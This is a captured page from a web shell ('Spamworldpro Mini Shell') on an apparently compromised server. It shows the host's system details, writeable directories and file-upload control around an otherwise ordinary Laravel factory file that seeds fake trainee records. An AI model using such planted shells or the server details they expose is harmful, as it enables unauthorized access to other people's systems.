Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/syn.corals.io/Corals/modules/Syndicate/database/factories/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/syn.corals.io/Corals/modules/Syndicate/database/factories/TraineeFactory.php
<?php

namespace Corals\Modules\Syndicate\database\factories;

use Corals\Modules\Syndicate\Models\Exam;
use Corals\Modules\Syndicate\Models\Trainee;
use Corals\Modules\Syndicate\Models\Training;
use Corals\Modules\Utility\Facades\ListOfValue\ListOfValues;
use Illuminate\Database\Eloquent\Factories\Factory;
use Illuminate\Support\Str;

class TraineeFactory extends Factory
{
    /**
     * The name of the factory's corresponding model.
     *
     * @var string
     */
    protected $model = Trainee::class;

    /**
     * Define the model's default state.
     *
     * @return array
     */
    public function definition()
    {
        return [
            'name' => $this->faker->firstName(),
            'second_name' => $this->faker->name(),
            'last_name' => $this->faker->name(),
            'id_number' => $this->faker->randomNumber(0 - 10),
            'email' => $this->faker->unique()->safeEmail(),
            'password' => '$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi', // password
            'remember_token' => Str::random(10),
            'job_title' => $this->faker->title(),
            'exam_required' => $this->faker->randomKey(ListOfValues::get('Syndicate::exam_exempt', false, 'active',
                true)),
            'phone_number' => $this->faker->phoneNumber(),
            'religion_code' => $this->faker->randomKey(ListOfValues::get('Syndicate::religion', false, 'active', true)),
            'address' => $this->faker->address(),
            'district_code' => $this->faker->randomKey(ListOfValues::get('Syndicate::district', false, 'active', true)),
            'city_code' => $this->faker->randomKey(ListOfValues::get('Syndicate::district', false, 'active', true)),
            'archive_code' => $this->faker->randomKey(ListOfValues::get('Syndicate::archive', false, 'active', true)),
            'situation_code' => $this->faker->randomKey(ListOfValues::get('Syndicate::situation', false, 'active',
                true)),
            'passport_code' => $this->faker->randomKey(ListOfValues::get('Syndicate::passport', false, 'active', true)),
            'status_code' => $this->faker->randomKey(ListOfValues::get('Syndicate::status', false, 'active', true)),
            'gender_code' => $this->faker->randomKey(ListOfValues::get('Syndicate::gender', false, 'active', true)),

        ];
    }

    public function configure()
    {
        return $this->afterMaking(function (Trainee $user) {
        })->afterCreating(function (Trainee $user) {
            $user->assignRole('Trainee');
            $user->exams()->save(Exam::factory()->make());
            $user->trainings()->save(Training::factory()->make());
        });
    }
}

Spamworldpro Mini